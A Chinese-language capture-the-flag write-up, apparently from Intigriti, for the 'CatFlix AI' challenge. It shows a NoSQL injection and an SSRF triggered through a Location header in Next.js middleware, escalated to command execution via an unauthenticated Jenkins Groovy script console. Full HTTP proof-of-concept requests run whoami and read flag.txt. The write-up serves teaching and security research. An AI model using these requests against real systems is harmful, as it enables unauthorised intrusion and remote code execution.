August CTF挑战：利用Next.js中间件中的SSRF漏洞

在Intigriti，我们每月举办基于Web的夺旗挑战赛，以与安全研究社区互动。本月由@0xblackbird呈现的挑战展示了一个有趣的服务器端请求伪造漏洞，影响了使用Next.js中间件的Web应用程序。

发现阶段

八月的挑战名为CatFlix AI，允许访问者流式传输AI生成的猫视频。从第一眼看来，访问者需要在观看平台上的任何视频之前登录。使用BuiltWith和Wappalyzer等工具，我们可以轻松确定Next.js用于应用程序的前端和后端。

使用Wappalyzer进行技术指纹识别

进一步滚动页面，我们还可以找到对源代码的引用。

解压缩源代码文件的内容确认了我们最初发现的应用广泛使用Next.js。我们接下来的逻辑步骤是审查所有代码中的异常情况。由于此挑战要求我们捕获位于易受攻击系统中的flag，我们可能需要利用服务器端漏洞类型来获取文件系统访问权限。这引起了我们对服务器端组件的关注。

NoSQL注入

在位于/src/app/api/auth/register/route.ts的注册API端点中，我们可以注意到第20行原始用户输入直接连接到MongoDB查询中。

从我们的NoSQL注入利用指南中，我们了解到这可以直接导致NoSQL注入。这有效地允许我们操纵查询，以便我们可以提取比需要更多的信息，甚至更改现有记录。

然而，经过进一步考虑，我们认为这种NoSQLi不会帮助我们获得文件系统访问权限。所以让我们进一步查看，看看是否能发现其他异常情况。

NextJS中间件

我们下一个主要关注点是middleware.ts文件。这个位于/src/middleware.ts的特殊文件允许开发人员在返回响应之前运行代码。用于基于逻辑执行服务器端重定向、身份验证和授权检查。在这种情况下，中间件用于在响应返回给客户端之前向每个响应添加安全头。

使用Next.js中间件添加安全头

除了安全头之外，中间件似乎还执行一些分析，尽管从注释中我们可以推断出这个添加仍在进行中。

以下代码片段检查是否存在UTM参数之一。当满足此条件时，将返回带有我们请求头的完整响应。但在那之前，Next.js中间件将首先评估所有头。

Next.js中间件配置错误引入SSRF

这个未记录的功能允许我们让NextResponse.next()处理某些头，包括Location响应头，这可能会触发内部重定向。在响应对象中传递此特定头将导致框架执行对该位置的服务器端请求，并返回该请求的响应，即服务器端请求伪造。

理解这一含义，我们可以轻松尝试发送以下概念验证请求并观察响应：

1
2
3
4
5

GET /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: https://example.com/

发送上述请求将使Next.js应用程序返回example.com的响应：

NextJS中间件概念验证

让我们更深入地研究利用部分。

利用NextJS中间件中的SSRF

服务器端请求伪造漏洞允许攻击者代表易受攻击的应用程序、服务或服务器请求外部资源。这为我们打开了一个新的攻击向量，因为我们现在可以访问基于HTTP的内部服务。

由于没有验证存在，发送到localhost端口3000的基本请求可以确认我们可以轻松访问内部服务：

1
2
3
4
5

GET /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: http://localhost:3000/

使用Next.js中间件SSRF访问内部资源

我们下一个重点是找到允许我们利用本地文件读取的内部服务。使用Ffuf或Burp Suite等工具，我们可以暴力破解端口号并查找任何命中。使用此方法，我们可以轻松确定Jenkins CI/CD在端口8080上运行。对响应的进一步检查表明身份验证似乎被禁用。

在端口8080上运行的Jenkins CI/CD

将SSRF升级为RCE

从这一点开始的利用是直接的，因为Jenkins具有内置的Groovy脚本控制台，允许开发人员评估代码，包括执行系统命令。由于身份验证被禁用，我们实际上可以在不提供会话令牌的情况下使用它，并且仍然能够执行我们的命令。

复制以下请求将在系统上执行whoami：

1
2
3
4
5
6
7
8
9

POST /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: http://localhost:8080/script
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

script=println('whoami'.execute().text)

现在我们有了确认的远程代码执行，我们可以开始寻找flag。在大多数情况下，这将保存在系统的项目根目录中。

一个简单的ls确认了这一点：

Jenkins脚本控制台代码执行

使用上一个命令的信息，我们可以制作另一个请求来查看flag.txt文件的内容：

1
2
3
4
5
6
7
8
9

POST /?utm_source=meta HTTP/2
Host: challenge-0825.intigriti.io
User-Agent: curl/8.14.1
Accept: */*
Location: http://localhost:8080/script
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

script=println('cat /app/flag.txt'.execute().text)

捕获flag

结论

在许多情况下，未经消毒的用户输入直接传递给评估函数调用，这是所有注入攻击的常见根本原因。通过仔细审查服务器端代码，我们能够识别、验证和武器化几个注入漏洞以实现命令执行。

所以，你刚刚学到了一些关于利用NoSQLi、武器化SSRF和利用安全配置错误的新知识…现在是时候将你的技能付诸实践了！你可以在易受攻击的实验室继续练习，或者浏览我们在Intigriti上的70多个公共漏洞赏金计划，谁知道呢，也许在你的下一次提交中赚取赏金！